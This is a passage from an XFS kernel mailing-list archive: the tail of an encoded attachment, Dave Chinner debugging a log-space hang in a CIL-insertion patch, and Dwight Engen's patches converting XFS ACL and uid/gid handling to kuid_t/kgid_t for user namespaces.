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 +XLXHA0UQ9KfN5Od1/WaVy4crAiuPOcHzFbnDaF+faQOusGTkWdssejkMtDTlvtDNoIvtcDd6boV +bk8Fglz6+RITf3Pz/gv1tk65XjA2nw8WRttj0lY7FeZ7vE21c/LubTXqnq7M5vmBvYZ/yJW/jQv qzuk+mY090+2y5zu7SPsvix/Zy9ynNMjk5/X4q6XTyavSblimrpztZemnOau9cB9X73ZMZvJx8ym 39K5O0V4otBub35Mss7TPYPzOXi+gp7s0PepZyluTWO5PYmNktdj3lhzXcz9sZuHwNk5VzN67l/p w/PmmfoY3n1/icrMZtm6N7jfJCukZvHWZjs5xLa89z+P21Vc7d9lO5x17F6J9wcw24lt22Kn8Pou ptHdd7GC2FBXW6wWxu3Hu/R7rsc1twQt5E2CszvJ2wqhu7i1x5bO68frWh3h6zm7T8E9p99NDBXb YsblsX5Py4rCK0TE/rsl3JM3QlONqeQpSf7uK05PbLbu53VrVNKs1fcl2v5Xyby2bnKteW7otsPp qyrO3ZysVmNxf9h3Mi+W9gtuN5rvCzF4xWRiXPu1e95KBaLYzMtvaGpty8Wts8Bk81xsdcfNiNU6 aCV+j92TQfm+7+b4z/5cFIy/fzKLC7xl2kIuyHJExfjB5ii1vpdKzjb2111g+z1W59jObi1Noz+9 4U9X8zprWVwLrstlu+lTH9RI7IKp8V+/C6oMWeU8Gqfhz5NZY0XwYd7T6cOwj8XamsX0fy8Jdp4F T8FJNZxzd5tqEAp7B4ms2Sv/eYd0qimTv3pTH++wYOTKwXDw9jl0mDpDxl8icA8slL82MiSGwF5i YW+YC9+zXK42iyOntCMjaUuFSxFICG9pR8NGMj29LSw8JXa8xEXSyYFIMGsBGOyX21DxsbgXZra4 y8jH+ljGqJwNKQOTvUTF+yxo/qLvbXCxaXCDDz2o1tzY2OTX7X9kpXYS9ttJuIjW32GNjiyFvwe0 24uG4DAxGCW83ka7BzpD0TxLcFNMN5lW8HAHAHEHEHIHItQ8R7mb88sh0Hsv9BRD+fEJ/Vka3oiP MkPK8XDtKflZP2XZgJUQerliyXa5F7rr7++tKqHuhyXSsI9rIxChuJlFShSGCNZPEUSg9Q479r9J WhIKYx9NjeHeXwTH3106rcEZAsRRg+7YXRh+R0P4B7CrUKsnDo43ilQthw/iqFoOj1ehXRfG6l4W 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 KF/3nF9P//LEPXsAQAcA ------=_NextPart_000_0E25_01CE8CCB.70936280-- From david@fromorbit.com Mon Jul 29 19:30:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E57B97CBF for ; Mon, 29 Jul 2013 19:30:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D6001304075 for ; Mon, 29 Jul 2013 17:30:06 -0700 (PDT) X-ASG-Debug-ID: 1375144204-04cbb02c3c1fa8d0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 5bukpKR0OCF5R6kO for ; Mon, 29 Jul 2013 17:30:05 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsFACYI91F5LPxHgWdsb2JhbABbgzu5DoUygRsXDgEBFiYogiQBAQQBOhwjBQsIAxgJJQ8FJQMhE4gKBbh7Fo4pgT4HhAcDl16BKpNJKoEt Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Jul 2013 10:00:03 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3xpA-0007VJ-DH; Tue, 30 Jul 2013 10:30:00 +1000 Date: Tue, 30 Jul 2013 10:30:00 +1000 From: Dave Chinner To: Mark Tinguely Cc: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-ID: <20130730003000.GI13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> <20130727015822.GV13468@dastard> <51F41250.9010703@sgi.com> <20130728011255.GY13468@dastard> <51F678F4.2020003@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F678F4.2020003@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375144204 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 29, 2013 at 09:15:16AM -0500, Mark Tinguely wrote: > On 07/27/13 20:12, Dave Chinner wrote: > >On Sat, Jul 27, 2013 at 01:32:48PM -0500, Mark Tinguely wrote: > >>On 07/26/13 20:58, Dave Chinner wrote: > >>>On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: > >>>> > >>>>I can reproduce a problem in patch 44 too. It takes my copy test 20 > >>>>minutes to deplete the log space with patch 44, Same test with patch > >>>>43 has been running a day and a half. I do not think that patch 44 > >>>>is 100 times faster than patch 43 but I will let patch 43 spin all > >>>>weekend on a couple machines to verify that patch 43 does not hang. > >>> > >>>Details, please. What's your "copy test"? .... > >>Micheal found the problem using a simple copy, so I am using copy-like test. > > BTW, the long term run of the copy.pl from bug 922 with patch 43 results: > tail 0x601000055d7 > grant/reserve 0x60100abb200 > ctx t_unit_res 0x834 > > My log math may be off, tail/reserve diff is 1024, but the CTX holds > more than that (2100 bytes). > > Looking at patch 44, it is the first time we use the calculation for > the number of bytes in patch 43. So I am looking at where the new > calculation in iop_size differs from the previous len calculation in > xlog_cil_prepare_log_vecs(). So far, I am that inode entry is 140 > bytes larger with the new calculation (former len 164 vrs new nbytes > 304 type 123b - non-crc filesystem). Which size calculation is wrong? t~he one used to size the buffer being allocated - which is intentionally oversized for the inode forks - or the actual size formatted into the buffer, which was unchanged? I mean, 164 bytes is an inode core (96 bytes) plus a inode log format structure. The increase of 140 bytes indicates that we are logging roughly the entire 256 byte inode - i.e. both forks. But are you looking at the size returned by iop_size or iop_format? iop_size will be new, iop_format is unchanged by this patchset. indeed, what iop_format returns as vectors is *unchanged* by this patchset, so I think that you are chasing down the wrong path here. > I will see if I can substitute the nbytes for len (without > triggering the ptr being exceeded assert) to see that will cause the > hang. I know what the problem is will be, and that won't fix it. Hint: the buffer is over sized. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dwight.engen@oracle.com Mon Jul 29 22:06:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 80F0E7CBF for ; Mon, 29 Jul 2013 22:06:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 61E66304067 for ; Mon, 29 Jul 2013 20:06:57 -0700 (PDT) X-ASG-Debug-ID: 1375153615-04cb6c2e9c204a70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id CKRYMgYrZBWgiIFP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:06:56 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U36t4L011503 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:06:55 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36sks015025 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:06:55 GMT Received: from abhmt103.oracle.com (abhmt103.oracle.com [141.146.116.55]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36srm015013 for ; Tue, 30 Jul 2013 03:06:54 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:06:54 -0700 Date: Mon, 29 Jul 2013 23:06:46 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 2/7] xfs: convert kuid_t to/from uid_t in ACLs Message-ID: <20130729230646.715303ed@oracle.com> X-ASG-Orig-Subj: [PATCH v7 2/7] xfs: convert kuid_t to/from uid_t in ACLs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375153616 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Change permission check for setting ACL to use inode_owner_or_capable() which will additionally allow a CAP_FOWNER user in a user namespace to be able to set an ACL on an inode covered by the user namespace mapping. Reviewed-by: Dave Chinner Signed-off-by: Dwight Engen --- fs/xfs/xfs_acl.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 306d883..32e4972 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -68,14 +68,15 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: + acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); + break; case ACL_GROUP: - acl_e->e_id = be32_to_cpu(ace->ae_id); + acl_e->e_gid = xfs_gid_to_kgid(be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: case ACL_MASK: case ACL_OTHER: - acl_e->e_id = ACL_UNDEFINED_ID; break; default: goto fail; @@ -101,7 +102,18 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) acl_e = &acl->a_entries[i]; ace->ae_tag = cpu_to_be32(acl_e->e_tag); - ace->ae_id = cpu_to_be32(acl_e->e_id); + switch (acl_e->e_tag) { + case ACL_USER: + ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(acl_e->e_uid)); + break; + case ACL_GROUP: + ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(acl_e->e_gid)); + break; + default: + ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); + break; + } + ace->ae_perm = cpu_to_be16(acl_e->e_perm); } } @@ -360,7 +372,7 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, return -EINVAL; if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) return value ? -EACCES : 0; - if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) + if (!inode_owner_or_capable(inode)) return -EPERM; if (!value) -- 1.8.1.4 From dwight.engen@oracle.com Mon Jul 29 22:07:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0156E7F51 for ; Mon, 29 Jul 2013 22:07:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D47DA8F8033 for ; Mon, 29 Jul 2013 20:06:56 -0700 (PDT) X-ASG-Debug-ID: 1375153612-04bdf02f2320a6e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id nGxEZvKmdVI3FjKE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:06:52 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U36oe3029342 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Jul 2013 03:06:51 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36o43014829 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 03:06:50 GMT Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36ncV016737 for ; Tue, 30 Jul 2013 03:06:50 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:06:49 -0700 Date: Mon, 29 Jul 2013 23:06:40 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v7 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130729230640.5131f5cc@oracle.com> X-ASG-Orig-Subj: [PATCH v7 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1375153612 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137426 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Reviewed-by: Dave Chinner Signed-off-by: Dwight Engen --- fs/xfs/xfs_linux.h | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 800f896..761e4c0 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -159,6 +159,32 @@ #define MAX(a,b) (max(a,b)) #define howmany(x, y) (((x)+((y)-1))/(y)) +/* Kernel uid/gid conversion. These are used to convert to/from the on disk + * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. + * The conversion here is type only, the value will remain the same since we + * are converting to the init_user_ns. The uid is later mapped to a particular + * user namespace value when crossing the kernel/user boundary. + */ +static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) +{ + return from_kuid(&init_user_ns, uid); +} + +static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) +{ + return make_kuid(&init_user_ns, uid); +} + +static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) +{ + return from_kgid(&init_user_ns, gid); +} + +static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) +{ + return make_kgid(&init_user_ns, gid); +} + /* * Various platform dependent calls that don't fit anywhere else */ -- 1.8.1.4 From dwight.engen@oracle.com Mon Jul 29 22:07:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 181757F52 for ; Mon, 29 Jul 2013 22:07:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE42D304067 for ; Mon, 29 Jul 2013 20:06:56 -0700 (PDT) X-ASG-Debug-ID: 1375153615-04bdf02f2020a6f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 8IMqfAnVEKk0ns2P (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 20:06:55 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6U36oLG011472 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Jul 2013 03:06:51 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36hqY027204 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Jul 2013 03:06:46 GMT Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6U36hkm015575; Tue, 30 Jul 2013 03:06:43 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 29 Jul 2013 20:06:43 -0700 Date: Mon, 29 Jul 2013 23:06:33 -0400 From: Dwight Engen To: xfs@oss.sgi.com, Dave Chinner , Brian Foster Cc: Serge Hallyn , "Eric W. Biederman" Subject: [PATCH v7 0/7] userns: Convert xfs to use kuid_t/kgid_t where 